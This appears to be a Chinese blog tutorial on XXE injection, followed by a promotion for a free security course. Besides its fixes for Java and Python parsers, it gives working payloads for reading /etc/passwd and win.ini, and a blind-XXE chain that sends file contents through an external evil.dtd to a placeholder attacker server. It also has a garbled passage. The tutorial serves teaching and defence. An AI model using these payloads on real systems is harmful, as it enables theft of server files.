目录
深入剖析 XXE 漏洞及其修复思路
一、XXE 漏洞是什么
二、XXE 漏洞的利用
(一)有回显的 XXE 漏洞利用
(二)无回显的 XXE 漏洞利用
三、XXE 漏洞修复思路
(一)禁用外部实体
(二)严格验证输入
(三)升级解析库版本
在网络安全领域,XXE(XML External Entity Injection)漏洞一直是一个不可忽视的安全隐患。今天,我们就来深入探讨一下 XXE 漏洞是什么、如何利用它以及最重要的,怎么修复它来保障系统安全。
一、XXE 漏洞是什么
XXE 漏洞通常发生在应用程序解析 XML 输入时。当应用程序没有禁止外部实体的加载,攻击者就可以利用这一漏洞,通过构造恶意的外部实体,获取服务器中本应被保护的数据。
产生 XXE 漏洞的原因主要在于文档类型定义(DTD)部分可以引用外部 DTD 文件,而且 XML 解析器解析外部实体时支持多种协议,比如file协议可读取本地文件内容,http协议能获取外部资源等。这就为攻击者打开了方便之门,他们构造的恶意 XML 文件一旦被解析器解析,就会触发漏洞。
二、XXE 漏洞的利用
(一)有回显的 XXE 漏洞利用
- 本地文件读取
- 利用
file协议直接读取本地文件,例如在 XML 中定义外部实体:
- 利用
<!DOCTYPE root [ <!ENTITY xxe SYSTEM "file:///etc/passwd"> ]> <root>&xxe;</root>- 如果是 PHP 程序,还可以使用 PHP 伪协议读取文件流,像这样:
<!DOCTYPE root [ <!ENTITY xxe SYSTEM "php://filter/read=convert.base64-encode/resource=/etc/passwd"> ]> <root>&xxe;</root>- 当读取的文件包含特殊符号时,就需要借助
sedate(这里文档表述不太准确,推测是类似处理方式),并结合外部参数实体来处理。同时要注意,有些 XML 解析库支持列目录,攻击者可借此获取更多敏感信息。
- 漏洞检测与利用演示
假设我们找到了一个接受 XML 输入的端点,比如某个登录接口。原本数据传输可能使用 JSON 格式,我们可以尝试将 HTTP 请求方法改为POST,并把Content-Type字段修改为application/xml。然后构造如下 XML 数据:
<!DOCTYPE root [ <!ENTITY test "hello"> ]> <root>&test;</root>如果服务器能成功解析并回显hello,就说明该端点可能存在 XXE 漏洞。接着,我们可以进一步尝试利用外部实体读取文件,例如:
<!DOCTYPE root [ <!ENTITY xxe SYSTEM "file:///c:/windows/win.ini"> ]> <root>&xxe;</root>若服务器回显了文件内容,那就证明存在 XXE 漏洞且可利用。
(二)无回显的 XXE 漏洞利用
无回显的 XXE 漏洞,又称为Blind XXE,利用起来相对复杂。因为服务器处理 XML 数据后不会回显,我们无法直接获取数据。这时,就需要借助外带数据通道来提取数据。
- 利用思路
- 首先定义一个实体,使用
file协议请求本地文件内容,比如:
- 首先定义一个实体,使用
<!ENTITY % file SYSTEM "file:///etc/passwd">- 再定义另外一个参数实体,将读取的文件内容作为 URL 的一部分,请求本地监听的端口。像这样:
<!ENTITY % payload "<!ENTITY send SYSTEM 'http://your_server_ip:port/?a=%file;'>">- 然后通过外部 DTD 方式,将内部参数实体的内容与外部 DTD 声明的实体内容拼接起来。这里要注意参数实体的嵌套和引用顺序,因为同级参数实体内容几乎不会被 XML 解析器解析。例如:
<!ENTITY % start "<!ENTITY % send SYSTEM 'http://your_server_ip:port/?a=%file;'>"> %start; %send;- 最后在 XML 文档中引用相关实体,启动本地监听端口(如使用
python -m http.server 8998启动 HTTP 服务监听 8998 端口),若能在监听端口接收到包含文件内容的请求,就成功利用了漏洞。
- 绕过 WAF 的方法
有时候直接使用常规方式会被 WAF 拦截,我们可以尝试一些绕过技巧。比如,将 DTD 直接放在DOCTYPE中,不使用ENTITY关键字,像这样:
<!DOCTYPE root [ <!ENTITY % file SYSTEM "file:///etc/passwd"> <!ENTITY % trick SYSTEM "http://your_server_ip/evil.dtd"> %trick; %send; ]> <root>∫</root>在evil.dtd文件中定义:
<!ENTITY % payload "<!ENTITY send SYSTEM 'http://your_server_ip:port/?a=%file;'>"> %payload;通过这种方式,有可能绕过一些 WAF 的检测。
三、XXE 漏洞修复思路
(一)禁用外部实体
在 XML 解析器中,直接禁用外部实体的加载是最直接有效的修复方法。不同的编程语言和 XML 解析库有不同的设置方式。
- Java
在 Java 中使用DocumentBuilderFactory时,可以通过如下代码禁用外部实体:
DocumentBuilderFactory dbf = DocumentBuilderFactory.newInstance(); dbf.setFeature("http://apache.org/xml/features/disallow-doctype-decl", true);- Python
使用lxml库时,可以这样设置:
from lxml import etree parser = etree.XMLParser(resolve_entities=False) xml_data = '<xml>...</xml>' # 实际的XML数据 tree = etree.fromstring(xml_data, parser)(二)严格验证输入
对所有 XML 输入进行严格的验证,确保输入内容不包含恶意的外部实体声明。可以使用 XML Schema 或 Relax NG 等技术定义 XML 的结构和约束,验证输入的 XML 是否符合规范。
例如,使用 XML Schema 定义一个简单的 XML 结构:
<xs:schema xmlns:xs="http://www.w3.org/2001/XMLSchema"> <xs:element name="root"> <xs:complexType> <xs:sequence> <xs:element name="data" type="xs:string"/> </xs:sequence> </xs:complexType> </xs:element> </xs:schema>然后在解析 XML 时,根据这个 Schema 进行验证:
import javax.xml.XMLConstants; import javax.xml.transform.stream.StreamSource; import javax.xml.validation.Schema; import javax.xml.validation.SchemaFactory; import javax.xml.validation.Validator; import org.xml.sax.SAXException; import java.io.File; import java.io.IOException; public class XMLValidator { public static void main(String[] args) { try { SchemaFactory factory = SchemaFactory.newInstance(XMLConstants.W3C_XML_SCHEMA_NS_URI); Schema schema = factory.newSchema(new File("your_schema.xsd")); Validator validator = schema.newValidator(); validator.validate(new StreamSource(new File("your_xml.xml"))); System.out.println("XML is valid."); } catch (SAXException | IOException e) { System.out.println("XML is invalid: " + e.getMessage()); } } }(三)升级解析库版本
及时升级 XML 解析库到最新版本,因为新版本通常会修复已知的安全漏洞,包括 XXE 漏洞相关的问题。开发人员要关注解析库的更新动态,及时进行升级。
XXE 漏洞虽然隐蔽且具有一定的危害性,但只要我们深入了解其原理,掌握正确的利用和修复方法,就能有效防范这一漏洞,保障系统的安全稳定运行。希望大家通过这篇博客,对 XXE 漏洞有更清晰的认识,并能在实际开发和安全防护工作中加以运用。
学习资源
如果你是也准备转行学习网络安全(黑客)或者正在学习,这里开源一份360智榜样学习中心独家出品《网络攻防知识库》,希望能够帮助到你
知识库由360智榜样学习中心独家打造出品,旨在帮助网络安全从业者或兴趣爱好者零基础快速入门提升实战能力,熟练掌握基础攻防到深度对抗。
1、知识库价值
深度: 本知识库超越常规工具手册,深入剖析攻击技术的底层原理与高级防御策略,并对业内挑战巨大的APT攻击链分析、隐蔽信道建立等,提供了独到的技术视角和实战验证过的对抗方案。
广度: 面向企业安全建设的核心场景(渗透测试、红蓝对抗、威胁狩猎、应急响应、安全运营),本知识库覆盖了从攻击发起、路径突破、权限维持、横向移动到防御检测、响应处置、溯源反制的全生命周期关键节点,是应对复杂攻防挑战的实用指南。
实战性: 知识库内容源于真实攻防对抗和大型演练实践,通过详尽的攻击复现案例、防御配置实例、自动化脚本代码来传递核心思路与落地方法。
2、 部分核心内容展示
360智榜样学习中心独家《网络攻防知识库》采用由浅入深、攻防结合的讲述方式,既夯实基础技能,更深入高阶对抗技术。
360智榜样学习中心独家《网络攻防知识库》采用由浅入深、攻防结合的讲述方式,既夯实基础技能,更深入高阶对抗技术。
内容组织紧密结合攻防场景,辅以大量真实环境复现案例、自动化工具脚本及配置解析。通过策略讲解、原理剖析、实战演示相结合,是你学习过程中好帮手。
1、网络安全意识
2、Linux操作系统
3、WEB架构基础与HTTP协议
4、Web渗透测试
5、渗透测试案例分享
6、渗透测试实战技巧
7、攻防对战实战
8、CTF之MISC实战讲解
3、适合学习的人群
一、基础适配人群
- 零基础转型者:适合计算机零基础但愿意系统学习的人群,资料覆盖从网络协议、操作系统到渗透测试的完整知识链;
- 开发/运维人员:具备编程或运维基础者可通过资料快速掌握安全防护与漏洞修复技能,实现职业方向拓展或者转行就业;
- 应届毕业生:计算机相关专业学生可通过资料构建完整的网络安全知识体系,缩短企业用人适应期;
二、能力提升适配
1、技术爱好者:适合对攻防技术有强烈兴趣,希望掌握漏洞挖掘、渗透测试等实战技能的学习者;
2、安全从业者:帮助初级安全工程师系统化提升Web安全、逆向工程等专项能力;
3、合规需求者:包含等保规范、安全策略制定等内容,适合需要应对合规审计的企业人员;
因篇幅有限,仅展示部分资料,完整版的网络安全学习资料已经上传CSDN,朋友们如果需要可以在下方CSDN官方认证二维码免费领取【保证100%免费】